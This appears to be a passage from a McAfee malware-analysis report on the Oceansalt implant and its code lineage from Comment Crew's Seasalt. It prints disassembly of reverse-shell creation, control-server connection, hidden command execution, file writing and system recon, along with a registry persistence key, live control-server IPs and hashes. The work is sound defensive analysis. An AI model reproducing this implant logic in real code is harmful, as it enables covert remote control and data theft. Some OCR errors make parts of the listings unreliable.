mov    edx, dword ptr aCmd_exe ; "cmd.exe"
mov    [esp+107Ch+var_105C], eax
mov    ecx, 11h
xor    eax, eax
lea    edi, [esp+107Ch+StartupInfo]
rep stosd
mov    eax, hWritePipe
mov    ecx, hReadPipe_2
mov    dword ptr [esp+107Ch+CommandLine], edx
mov    [esp+107Ch+StartupInfo.hStdError], eax
mov    [esp+107Ch+StartupInfo.hStdOutput], eax
lea    edx, [esp+107Ch+ProcessInformation]
lea    eax, [esp+107Ch+StartupInfo]
push   edx          ; lpProcessInformation
push   eax          ; lpStartupInfo
push   ebx          ; lpCurrentDirectory
push   ebx          ; lpEnvironment
push   ebx          ; duCreationFlags
mov    [esp+1090h+StartupInfo.hStdInput], ecx
push   ebp          ; bInheritHandles
push   ebx          ; lpThreadAttributes
lea    ecx, [esp+1090h+CommandLine]
push   ebx          ; lpProcessAttributes
push   ecx          ; lpCommandLine
push   ebx          ; lpApplicationName
mov    [esp+1004h+StartupInfo.dwFlags], 10h
mov    [esp+1004h+StartupInfo.wShowWindow], bx
call   ds>CreateProcessA
push   7D0h          ; dwMilliseconds
call   ds:Sleep

mov    eax, 1070h
call   __alloca_probe
mov    eax, __security_cookie
xor    eax, ebp
mov    [ebp+var_4], eax
push   ebx
push   esi
mov    esi, ds>CreatePipe
lea    eax, [ebp+PipeAttributes]
push   0             ; nSize
push   eax          ; lpPipeAttributes
push   offset hWritePipe ; hWritePipe
push   offset hReadPipe ; hReadPipe
mov    [ebp+PipeAttributes.nLength], 0Ch
mov    [ebp+PipeAttributes.lpSecurityDescriptor], 0
mov    [ebp+PipeAttributes.bInheritHandle], 1
call   esi : CreatePipe
push   0             ; nSize
lea    eax, [ebp+PipeAttributes]
push   eax          ; lpPipeAttributes
push   offset hWritePipe_2 ; hWritePipe
push   offset hReadPipe_2 ; hReadPipe
call   esi : CreatePipe
mov    eax, dword ptr ds:aCmd_exe ; "cmd.exe"
mov    eax, dword ptr [ebp+CommandLine], eax
mov    eax, dword ptr ds:aCmd_exe+4 ; "exe"
push   4Ah           ; Size
mov    [ebp+var_8], eax
lea    eax, [ebp+StartupInfo]
push   0             ; Val
push   eax          ; Bst
call   _memset
add    esp, 0Ch
mov    [ebp+StartupInfo.dwFlags], 10h
xor    eax, eax
mov    [ebp+StartupInfo.wShowWindow], ax
mov    eax, hReadPipe_2
mov    [ebp+StartupInfo.hStdInput], eax
mov    eax, hWritePipe
mov    [ebp+StartupInfo.hStdError], eax
mov    [ebp+StartupInfo.hStdOutput], eax
lea    eax, [ebp+ProcessInformation]
push   eax          ; lpProcessInformation
lea    eax, [ebp+StartupInfo]
push   eax          ; lpStartupInfo
push   0             ; lpCurrentDirectory
push   0             ; lpEnvironment
push   0             ; duCreationFlags
push   1             ; bInheritHandles
push   0             ; lpThreadAttributes
push   0             ; lpProcessAttributes
lea    eax, [ebp+CommandLine]
push   eax          ; lpCommandLine
push   0             ; lpApplicationName
call   ds>CreateProcessA
push   7D0h          ; dwMilliseconds
call   ds:Sleep
```

Figure 20. Reverse-shell creation capability similarities. Seasalt is at left.

Code Differences from Seasalt

There are a few differences between the two implants in implementation; these demonstrate that Oceansalt is not simply a recompilation of Seasalt source code. However, these differences also provide evidence that Oceansalt is an evolution of Seasalt.

- **Encoding:** The Oceansalt implant uses an encoding and decoding mechanism before any data is sent to the control server. The Seasalt implant does not use this encoding and sends unencrypted data to the control server.
- **Control server address:** Oceansalt uses a hardcoded control server address to establish communication. Seasalt parses the control address from its binary by decoding data.
- **Persistence:** Oceansalt has no persistence mechanisms to ensure continued infection over endpoint reboots. Seasalt, on the other hand, copies itself to C:\DOCUME~1\<userid>\java.exe and creates a registry entry to ensure infection after reboot:
 - HKLM\Software\Microsoft\Windows\currentVersion\Run | sysinfo

Based on the executable header information, Seasalt was compiled on March 30, 2010. Oceansalt was compiled on June 1, 2018. Highlighting the compilation timestamps is important because, as our preceding analysis demonstrates, the samples have a high degree of code sharing:

- Multiple code matches and similarities
- Multiple functional similarities
- Identical command capabilities
- Same command and response codes issued by and sent to the control server

The code used to create the reverse shell in Oceansalt is an exact match with that of Comment Crew's Seasalt implant. The mechanism for creating the reverse shell (pipe-based inter-process communication for standard I/O handles) is also seen in Comment Crew implants such as WebC2-CSION and WebC2-GREENCAT.

These matches lead us to believe that Oceansalt is based on Seasalt, because it reuses much of the code base developed 10 years ago. Seasalt's public disclosure in the Comment Crew report does not seem to have discouraged Oceansalt's developer.

Obfuscated Oceansalt Comparison with Seasalt

We offer a comparative analysis of the following partially obfuscated implants against the initial Oceansalt sample and the Seasalt implant from Comment Crew.

SHA-1	Compile Date	Role
fc121db04067cffbed04d7403c1d222d376fa7ba	7/16/2018	Partially obfuscated Oceansalt
281a13ecb674de42f2e8fdaea5e6f46a5436c685	7/17/2018	Partially obfuscated Oceansalt
1f70715e86a2fcc1437926ecfaeadc53ddce41c9	7/17/2018	Partially obfuscated Oceansalt
ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36	7/16/2018	Partially obfuscated Oceansalt
12a9faa96ba1be8a73e73be72ef1072096d964fb	7/17/2018	Partially obfuscated Oceansalt
be4fbb5a4b32db20a914cad5701f5c7ba51571b7	7/17/2018	Partially obfuscated Oceansalt
0ae167204c841bdfd3600dddf2c9c185b17ac6d4	7/17/2018	Partially obfuscated Oceansalt

All the partially obfuscated Oceansalt implants have the following characteristics:

- All implants were compiled during a three-day period: July 16–18
- All implants contain debug statements (print logs) written to the log file: C:\Users\Public\Videos\temp.log
- These debug statements begin with the timestamp and consist of the following keywords at the beginning of the debug message:
 - [WinMain]
 - [FraudProc]
- All implants connected to the same control server IP address: 27.102.112.179
- Although none of the partially obfuscated implants contain any additional capabilities (as compared with the initial Oceansalt or Seasalt), some of the partially obfuscated implants are missing the reverse-shell capabilities:

Partially Obfuscated Oceansalt Hash	Reverse-Shell Capability?
C1773E9CF8265693F37DF1A39E0CBBE2	No
0355C116C02B02C05D6E90A0B3DC107C	Yes
74A50A5705E2AF736095B6B186D38DDF	Yes
45C362F17C5DC8496E97D475562BEC4D	No
D14DD769C7F53ACEC482347F539EFDF4	No
B2F6D9A62C63F61A6B33DC6520BFCCCD	Yes
76C8DA4147B08E902809D1E80D96FBB4	Yes

Evidence of Source-Code Sharing

We present evidence of source-code sharing between the Oceansalt authors and Comment Crew, based on our comparative analysis of the three sets of samples: Oceansalt, partially obfuscated Oceansalt, and Seasalt.

- There is no possibility the attackers could have re-instrumented Seasalt by simply modifying the control server IP addresses:
 - The mechanism for obtaining the address in Seasalt is different from Oceansalt's. Seasalt looks for encoded data at the end of the binary, decodes this data into tokens separated by the marker "\$," and obtains the control server information.
 - Oceansalt implants have the control server IP addresses and port numbers hardcoded as plain-text strings in the binaries
- Some of the partially obfuscated Oceansalt implants are missing the reverse-shell capability. All other capabilities (code signatures, response codes, etc.) and command codes are similar. (Command codes are either the same or off by 1.) Modifying capabilities in this fashion is possible only with access to the source code of Seasalt.

REPORT

- The presence of debug strings tracing the code flow of the Oceansalt implants indicates they were compiled after adding debug information to the source code of Seasalt:
 - [WinMain]after recv cmd=%d 0Dh 0Ah
 - [WinMain]before recv 0Dh 0Ah
 - [FraudProc]Engine is still active! 0Dh 0Ah
 - [FraudPRoc]Process Restart! 0Dh 0Ah
- The presence of these debug strings also indicates that the authors who modified the source code may have used these samples to perform their initial testing before obfuscating and releasing the implants to their victims, without scrubbing the debug strings
- The Oceansalt implant 531dee019792a089a4589c2cce3dac95 (compiled June 1) contains a few key features that indicate compilation from the source code of Seasalt:
 - Does not contain the reverse-shell capability
 - Does not contain the drive recon capability
 - Loads API SHGetFileInfoA() dynamically without statically importing it. This also suggests that Seasalt's source code was modified before compilation.

```
; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
_WinMain@16 proc near
; CODE XREF: __tmainCRTStartup+115↓

var_328      = byte ptr -328h
var_228      = byte ptr -228h
var_128      = byte ptr -128h
CmdLine      = byte ptr -124h
buf          = byte ptr -24h
var_20       = dword ptr -20h
message_argument= byte ptr -1Ch
var_18       = dword ptr -18h
var_17       = word ptr -17h
var_15       = byte ptr -15h
ProcName     = byte ptr -14h
var_F        = dword ptr -0Fh
var_B        = dword ptr -0Bh
var_7        = byte ptr -7
var_4        = dword ptr -4
hInstance    = dword ptr 8
hPrevInstance= dword ptr 0Ch
lpCmdLine   = dword ptr 10h
nShowCmd    = dword ptr 14h

push    ebp
mov     ebp, esp
sub    esp, 328h
mov     eax, __security_cookie
xor     eax, ebp
mov     [ebp+var_4], eax
xor     eax, eax
mov     dword ptr [ebp+ProcName+1], eax
mov     [ebp+var_F], eax
mov     [ebp+var_B], eax
mov     [ebp+var_7], al
lea     eax, [ebp+ProcName]
push    eax           ; lpProcName
push    offset LibFileName ; "shell32.dll"
mov     dword ptr [ebp+ProcName], 'eGHS'
mov     dword ptr [ebp-10h], 'lIFT'
mov     [ebp+var_F+3], 'fnie'
mov     word ptr [ebp+var_B+3], 'o'
call    ds:LoadLibraryA
push    eax           ; hModule
call    ds:GetProcAddress
push    eax           ; message_argument
push    offset aWinmainFsgFix ; "[WinMain]FSGFI= %x\r\n"
mov     SHGetFileInfoA, eax
call    print_to_log_file
```

Figure 21. Dynamic API loading in an Oceansalt implant.

Oceansalt Capabilities

Oceansalt is 76KB, a minimal on-disk footprint that is harder to detect than larger malware. The implant has a variety of capabilities for capturing data from the victim's machine using a structured command system. From our research we have determined that this implant is a first-stage component. Further stages are downloaded through its commands. Oceansalt also supports commands enabling the attacker to take various actions on the victim's system.

Initial reconnaissance

Oceansalt starts by trying to connect to its control server at 158.69.131.78:8080. Once connected, the implant sends the following information about the endpoint:

- IP address
- Computer name
- File path of the implant

All data sent to the control server is encoded with a NOT operation on each byte.

```

push    ebp
mov    ebp, esp
sub    esp, 320h
mov    eax, __security_cookie
xor    eax, ebp
mov    [ebp+var_4], eax
call   _construct_ip_address_and_port_of_CnC
test   eax, eax
jz    loc_134248E
call   _WSAStartup_
push   offset byte_13540C0
call   _gethostname_to_get_computer_name
push   offset byte_13541C0 ; int
push   offset byte_13540C0 ; name
call   _gethostname_inet_ntoa_to_get_ip_address_of_self
add    esp, 8Ch
xor    ecx, ecx

```

Figure 22. Initial data gathered from the endpoint by Oceansalt.

```

push    offset name      ; name
call   edi ; gethostname
mov    eax, [eax+0Ch]
mov    eax, [eax]
push   dword ptr [eax] ; in
call   ds:inet_ntoa
push   0           ; protocol
push   SOCK_STREAM  ; type
push   AF_INET     ; af
mov    ebx, eax
call   ds:socket
mov    s, eax
cmp    eax, INVALID_HANDLE_VALUE
jz    ret_loc
mov    eax, 2
mov    sockaddr_0.sa_family, ax
movzx  eax, word ptr port_number ; port_number = 0x1F90 = 8080
push   eax          ; hostshort
call   ds:htons
push   ebx          ; cp
mov    word ptr sockaddr_0.sa_data, ax
call   ds:inet_addr
push   10h          ; namelen
push   offset sockaddr_0 ; name
push   s             ; s
mov    dword ptr sockaddr_0.sa_data+2, eax
call   ds:connect
cmp    eax, INVALID_HANDLE_VALUE
jnz   short connected_to_CnC
push   s             ; s
call   ds:closesocket
push   5000          ; dwMilliseconds
call   esi ; Sleep

```

Figure 23. Control server connection functionality for Oceansalt.

REPORT

Command handler functions

Oceansalt can execute 12 commands. Each command received from the control server is represented by a command code ranging from 0x0 to 0xB (0 to 11).

```
command_index_table dd offset send_drive_info_loc
    ; DATA XREF: WinMain(x,x,x,x)+234↑r
    dd offset send_file_info_loc ; jump table for switch statement
    dd offset execute_command_loc
    dd offset delete_file_loc
    dd offset write_file_loc
    dd offset read_file_loc
    dd offset send_process_info_loc
    dd offset terminate_process_loc
    dd offset create_reverse_shell_loc
    dd offset send_commands_to_reverse_shell_loc
    dd offset cleanup_ipc_pipes_for_reverse_shell_loc
    dd offset test_send_recv_loc
```

Figure 24. Command index table showing Oceansalt's capabilities.

REPORT

```
receive_and_execute_commands_from_CnC: ; CODE XREF: WinMain(x,x,x,x)+33D↑j
    push    0                      ; flags
    push    104h                   ; len
    lea     eax, [ebp+Dst]
    push    eax                     ; buf
    push    s                      ; s
    call    _recv_and_decode_
    add     esp, 10h
    test   eax, eax
    jle    loc_1342473
    mov     eax, [ebp+Dst]
    dec     eax
    cmp     eax, 0Bh               ; switch 12 cases based on command ID in eax
    ja     default_case           ; jumptable 00402364 default case
    jmp    ds:command_index_table[eax*4] ; switch jump
;

send_drive_info_loc:          ; CODE XREF: WinMain(x,x,x,x)+234↑j
; DATA XREF: .text:command_index_table↓o
    push    s
    call    send_drive_info
    jmp    loc_1342440
;

send_file_info_loc:          ; CODE XREF: WinMain(x,x,x,x)+234↑j
; DATA XREF: .text:command_index_table↓o
    lea     eax, [ebp+Cmpline] ; jumptable 00402364 case 1
    push    eax
    push    s                      ; lpFileName
    call    _send_file_info_
    add     esp, 8
    jmp    default_case           ; jumptable 00402364 default case
;

execute_command_loc:          ; CODE XREF: WinMain(x,x,x,x)+234↑j
; DATA XREF: .text:command_index_table↓o
    lea     eax, [ebp+Cmpline] ; jumptable 00402364 case 2
    push    eax
    push    s                      ; lpCmdline
    call    _winexec_file_
    add     esp, 8
    jmp    default_case           ; jumptable 00402364 default case
;

delete_file_loc:              ; CODE XREF: WinMain(x,x,x,x)+234↑j
; DATA XREF: .text:command_index_table↓o
    lea     eax, [ebp+Cmpline] ; jumptable 00402364 case 3
    push    eax
    push    s                      ; lpFileName
    call    _delete_file_
    add     esp, 8
    jmp    default_case           ; jumptable 00402364 default case
;

write_file_loc:                ; CODE XREF: WinMain(x,x,x,x)+234↑j
; DATA XREF: .text:command_index_table↓o
    push    s
    call    _write_file_to_disk_
    jmp    short loc_1342440
```

Figure 25. Oceansalt's command execution functionality.

REPORT

0x0: Drive recon

The control server sends this command code to Oceansalt to extract drive information from the endpoint. The format of the drive information:

```
#<Drive _ letter>:<Drive _ type><Drive _  
letter>:<Drive _ type>...#
```

Legend	Description
<Drive_letter>	A,B,C,D,E, etc., representing all logical drives on the system
<Drive_type>	0 = DRIVE_REMOVABLE 1 = DRIVE_FIXED 2 = DRIVE_CDROM 3 = DRIVE_REMOTE

```
push    0          ; Val  
push    eax         ; Dst  
call    _memset  
add    esp, 0Ch  
call    ds:GetLogicalDrives  
mov    [ebp+drives_bitmask], eax  
test   eax, eax  
jz     loc_134152F  
push    ebx  
mov    ebx, [ebp+drives_bitmask]  
xor    ecx, ecx  
push    esi  
push    edi  
mov    [ebp+var_144], ecx  
lea    esi, [ecx*3]  
lea    ecx, [ecx*0]  
  
loc_1341440:  
shr    eax, cl  
test   eax, eax  
jz     loc_13414F7  
test   al, 1  
jz     loc_13414E1  
lea    eax, [ecx*41h]  
mov    [ebp+var_F], 3Ah  
mov    [ebp+RootPathName]. al  
lea    eax, [ebp+RootPathName]  
push    eax  
call    ds:GetDriveTypeA  
cmp    eax, DRIVE_REMOVABLE  
jnz    short drive_not_removable  
xor    ebx, ebx  
short print_info_on_drive  
  
; -----  
drive_not_removable:  
cmp    eax, DRIVE_FIXED  
jnz    short drive_not_fixed  
lea    ebx, [eax-2]  
short print_info_on_drive  
  
; -----  
drive_not_fixed:  
cmp    eax, DRIVE_CDROM  
jnz    short drive_not_cdrom  
lea    ebx, [eax-3]  
short print_info_on_drive  
  
; -----  
drive_not_cdrom:  
cmp    eax, DRIVE_REMOTE  
cmovz ebx, esi  
  
print_info_on_drive:  
                ; CODE XREF: send_drive_info+9Etj  
                ; send_drive_info+99tj ...  
push    ebx  
lea    eax, [ebp+RootPathName]  
push    eax  
lea    eax, [ebp+Dest]  
push    offset Format    ; "%s%d"  
push    eax              ; Dest  
call    _sprintf
```

Figure 26. Oceansalt gathering drive information.

0x1: File recon

Sends the following information about a specific file (or file pattern) specified by the control server:

- Filename
- Type of file on disk, for example, file or folder
- "OK" if file was found on the location
- File creation time in format <YYYY-mm-DD HH:MM:SS>

0x2: Command execute

Executes a command line using WinExec(). The command line is provided by the control server along with the command number. For example:

```
<DWORD representing command  
number><command line to be executed>  
02 00 00 00 C:\Windows\system32\calc.exe
```

The command line is executed with a hidden window (using the SW_HIDE option for WinExec()).

```
push    ebp  
mov    ebp, esp  
push    SW_HIDE      ; uCmdShow  
push    [ebp+1pCmdLine] ; lpCmdLine  
call    ds:WinExec  
push    0             ; Flags  
push    2             ; len  
cmp    eax, 31        ; return value is gt 31 if WinExec succeeds  
jle    short winexec_failed  
push    offset a0      ; "r"  
push    [ebp+$]         ; s  
call    _encode_and_send_  
add    esp, 10h  
pop    ebp  
ret  
;  
  
winexec_failed:  
    push    offset a1      ; CODE XREF: _winexec_file_+15t  
    push    [ebp+$]         ; s  
    call    _encode_and_send_  
    add    esp, 10h  
    pop    ebp  
    ret  
  
_winexec_file_ endp
```

Figure 27. Oceansalt's command execution capability.

0x3: File delete

- Deletes a file specified by the control server from the disk
- Once an operation is completed, the implant sends a "0" (in ASCII) to the control server to indicate the successful execution of the command
- If the operation fails, Oceansalt sends a "1" (in ASCII) to indicate failure

0x4: File write

- Creates a file specified by a file path provided by the control server, which also provides the content to be written to the file path
- If the file write is successful, Oceansalt sends the keyword "upfileok" indicating success
- If the file write fails, the implant sends the keyword "upfileer" indicating failure

REPORT

```

push    0          ; Flags
push    204h        ; Len
push    eax         ; Buf
push    edi         ; S
call    _recv_and_decode_ ; Get filename/path to write to
add    esp, 10h
lea    eax, [ebp+fileName]
push    0          ; hTemplateFile
push    FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
push    CREATE_ALWAYS ; dwCreationDisposition
push    0          ; lpSecurityAttributes
push    FILE_SHARE_WRITE ; dwShareMode
push    GENERIC_WRITE ; dwDesiredAccess
push    eax         ; lpFileName
call    _CreateFileA
mov    ebx, eax
test   ebx, ebx
jnz    short createfile_success
push    eax         ; Flags
push    9           ; Len
push    offset aUpfileer ; "upfileer"
push    edi         ; S
call    _encode_and_send_
add    esp, 10h
pop    edi
pop    ebx
mov    ecx, [ebp+var_4]
xor    ecx, ebx
call    _security_check_cookie(x)
mov    esp, ebp
pop    ebp
ret
;

createfile_success:          ; CODE XREF: _write_file_to_disk_+52fj
push    esi
mov    esi, [ebp+var_400]
test   esi, esi
jz    short loc_1341338

loc_13412E0:                ; CODE XREF: _write_file_to_disk_+664j
push    0FFh        ; Size
lea    eax, [ebp+Dst]
mov    [ebp+Buffer], 0
push    0          ; Val
push    eax         ; Dst
call    _memset
push    0          ; Flags
push    A0h        ; Len
lea    eax, [ebp+Buffer]
push    eax         ; Buf
push    edi         ; S
call    _recv_and_decode_ ; Get data to write to file
add    esp, 10h
cmp    eax, 0FFFFFFFh
jz    short loc_1341362
push    0          ; lpOverlapped
lea    ecx, [ebp+NumberOfBytesWritten]
sub    esi, eax
push    ecx         ; lpNumberOfBytesWritten
push    eax         ; nNumberOfBytesToWrite
lea    eax, [ebp+Buffer]
push    eax         ; lpBuffer
push    ebx         ; hFile
call    _fWriteFile
test   eax, eax
jz    short loc_1341369
test   esi, esi
jnz    short loc_13412E0

loc_1341338:                ; CODE XREF: _write_file_to_disk_+7E7j
push    ebx         ; hObject
call    _CloseHandle
push    0          ; Flags
push    9           ; Len
push    offset aUpFileok ; "upFileok"

loc_1341348:                ; CODE XREF: _write_file_to_disk_+1124j
push    edi         ; S
call    _encode_and_send_

```

Figure 28. Oceansalt's file-writing capability.

0x6: Process recon

- Sends the name and ID for every process running on the system to the control server
- Process data is sent via individual packets, that is, one packet per process

```

push    esi
push    edi
push    0          ; th32ProcessID
push    2          ; dwFlags
mov    [ebp+pe.dwSize], 128h
call    CreateInThread32Snapshot
mov    edi, eax
mov    [ebp+var_8], 1
lea    eax, [ebp+pe]
push    eax         ; lppe
push    edi         ; hSnapshot
call    Process32First
mov    esi, [ebp+s]
test   eax, eax
jz    short loc_1341C9
jnp    short loc_1341C60
;

loc_1341C60: align 10h
; CODE XREF: _send_process_info_+45fj
; _send_process_info_+874j
xor    eax, eax
loc_1341C62:          ; CODE XREF: _send_process_info_+654j
mov    cl, [ebp+eax+pe.szExeFile]
lea    eax, [eax+1]
mov    [ebp+eax+pe.szExeFile+103h], cl
test   cl, cl
jnz    short loc_1341C69
mov    eax, [ebp+pe.th32ProcessID]
mov    [ebp+pid], eax
;

loc_1341C80:          ; CODE XREF: _send_process_info_+A61j
push    0          ; Flags
push    100h        ; Len
lea    eax, [ebp+Src]
push    eax         ; Src
push    esi         ; S
call    _encode_and_send_
push    0          ; Flags
push    2          ; Len
lea    eax, [ebp+buf]
push    eax         ; Buf
push    esi         ; S
call    _recv_and_decode_
lea    eax, [ebp+buf]
push    eax         ; Str
call    _strtol_
add    esp, 24h
test   eax, eax
jnz    short loc_1341C80
lea    eax, [php+pe]
push    eax         ; lppe
push    edi         ; hSnapshot
call    Process32Next
test   eax, eax
jnz    short loc_1341C60

```

Figure 29. Oceansalt's process listing via its recon capability.

0x7: Process terminate

- Terminates a process whose ID has been specified by the control server

0x8: Reverse shell create

- Opens a reverse shell from the infected endpoint to the control server using Windows pipes
- This reverse shell is based on cmd.exe. It can carry out further recon and make changes to the endpoint.

```

push    ebx
push    esi
mov    esi, ds:CreatePipe
lea    eax, [ebp+PipeAttributes]
push    0          ; nSize
push    eax        ; lpPipeAttributes
push    offset hWritePipe ; hWritePipe
push    offset hReadPipe ; hReadPipe
mov    [ebp+PipeAttributes.nLength], 0Ch
mov    [ebp+PipeAttributes.lpSecurityDescriptor], 0
mov    [ebp+PipeAttributes.bInheritHandle], 1
call    esi ; CreatePipe
push    0          ; nSize
lea    eax, [ebp+PipeAttributes]
push    eax        ; lpPipeAttributes
push    offset hWritePipe_2 ; hWritePipe
push    offset hReadPipe_2 ; hReadPipe
call    esi ; CreatePipe
mov    eax, dword ptr ds:aCmd_exe ; "cmd.exe"
mov    eax, dword ptr [ebp+Commandline], eax
mov    eax, dword ptr ds:aCmd_exe+4 ; "exe"
push    44h          ; Size
mov    [ebp+var_8], eax
lea    eax, [ebp+StartupInfo]
push    0          ; bAl
push    eax        ; Dst
call    _memset
add    esp, 0Ch
mov    [ebp+StartupInfo.dwFlags], 101h
xor    eax, eax
mov    [ebp+StartupInfo.uShowWindow], ax
mov    eax, hReadPipe_2
mov    [ebp+StartupInfo.hStdInput], eax
mov    eax, hWritePipe
mov    [ebp+StartupInfo.hStdError], eax
mov    [ebp+StartupInfo.hStdOutput], eax
lea    eax, [ebp+ProcessInformation]
push    eax        ; lpProcessInformation
lea    eax, [ebp+StartupInfo]
push    eax        ; lpStartupInfo
push    0          ; lpCurrentDirectory
push    0          ; lpEnvironment
push    0          ; dwCreationFlags
push    1          ; bInheritHandles
push    0          ; lpInThreadAttributes
push    0          ; lpProcessAttributes
lea    eax, [ebp+CommandLine]
push    eax        ; lpCommandLine
push    0          ; lpApplicationName
call    ds:CreateProcessA
push    700h          ; dwMilliseconds
call    ds:Sleep
mov    ebx, ds:PeekNamedPipe
lea    eax, [ebp+Buffer]
push    0          ; lpBytesLeftThisMessage
push    0          ; lpTotalBytesAvail
push    offset BytesRead ; lpBytesRead
push    200h          ; nBufferSize
push    eax        ; lpBuffer
push    hreadPipe    ; hNamedPipe
mov    [ebp+var_10], 1
call    ebx ; PeekNamedPipe

```

Figure 30. Oceansalt's reverse-shell creation capability.

0x9: Reverse shell operate

- Operates the reverse shell established using the previous command code
- Contains the commands sent by the control server to the reverse shell that will be executed by cmd.exe on the infected endpoint
- Once the command has been executed, the output is read from cmd.exe via a pipe and sent to the control server

0xA: Reverse shell terminate

- Closes the reverse shell by closing handles to the pipes created for the shell's inter-process communication

0XB: Connection test

- Tests receive and send capabilities of the implant by receiving data (0x7 bytes) from the control server and sending it back
- Persistence
- Oceansalt has no persistence capabilities to remain on the endpoint after the system reboots
- This lack suggests other components in the infection chain may ensure persistence and carry out other malicious activities

Conclusion

Based on our analysis, the McAfee Advanced Threat Research team has named this global threat Operation Oceansalt. This operation has focused on targets in South Korea and other countries with new malware that has roots in Comment Crew activity from 2010.

Our research shows that Comment Crew's malware in part lives on in different forms employed by another advanced persistent threat group operating primarily against South Korea. This research represents how threat actors including nation-states might collaborate on their campaigns. McAfee continues to monitor the threat landscape in Asia and around the world to track the evolution of known groups and changes to their techniques.

McAfee Coverage

- Generic.dxltjz
- RDN/Generic.grp
- RDN/Generic.ole
- RDN/Generic.grp (trojan)
- RDN/Trojan-FQBD
- RDN/Generic.RP

Indicators of Compromise**MITRE ATT&CK™ Techniques**

- Scripting
- Spear phishing attachment
- Automated collection
- Command-line interface
- Network share discovery
- Process discovery
- File and directory discovery
- Data from local system
- Data from removable media
- Data from network shared drive
- Exfiltration over control server channel

IP addresses

- 158.69.131.78
- 172.81.132.62
- 27.102.112.179
- 211.104.160.196

Hashes

- fc121db04067cffbed04d7403c1d222d376fa7ba
- 832d5e6ebd9808279ee3e59ba4b5b0e884b859a5
- be4fbb5a4b32db20a914cad5701f5c7ba51571b7
- 1f70715e86a2fcc1437926ecfaeadc53ddce41c9
- dd3fb2750da3e8fc889cd1611117b02d49cf17f7
- 583879cfaf735fa446be5bfcbcc9e580bf542c8c
- ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36
- d72bc671583801c3c65ac1a96bb75c6026e06a73
- e5c6229825f11d5a5749d3f2fe7acbe074cba77c
- 9fe4bfdd258ecedb676b9de4e23b86b1695c4e1e
- 281a13ecb674de42f2e8fdaea5e6f46a5436c685
- 42192bb852d696d55da25b9178536de6365f0e68
- 12a9faa96ba1be8a73e73be72ef1072096d964fb
- 0ae167204c841bdfd3600dddf2c9c185b17ac6d4

About McAfee

McAfee is the device-to-cloud cybersecurity company. Inspired by the power of working together, McAfee creates business and consumer solutions that make our world a safer place. By building solutions that work with other companies' products, McAfee helps businesses orchestrate cyber environments that are truly integrated, where protection, detection, and correction of threats happen simultaneously and collaboratively. By protecting consumers across all their devices, McAfee secures their digital lifestyle at home and away. By working with other security players, McAfee is leading the effort to unite against cybercriminals for the benefit of all.

www.mcafee.com.

About McAfee Labs and Advanced Threat Research

McAfee Labs, led by McAfee Advanced Threat Research, is one of the world's leading sources for threat research, threat intelligence, and cybersecurity thought leadership. With data from millions of sensors across key threats vectors—file, web, message, and network—McAfee Labs and McAfee Advanced Threat Research deliver real-time threat intelligence, critical analysis, and expert thinking to improve protection and reduce risks.

www.mcafee.com/us/mcafee-labs.aspx.



2821 Mission College Blvd.
Santa Clara, CA 95054
888.847.8766
www.mcafee.com

McAfee and the McAfee logo are trademarks or registered trademarks of McAfee, LLC or its subsidiaries in the US and other countries. Other marks and brands may be claimed as the property of others. Copyright © 2017 McAfee, LLC. 4149_1018
OCTOBER 2018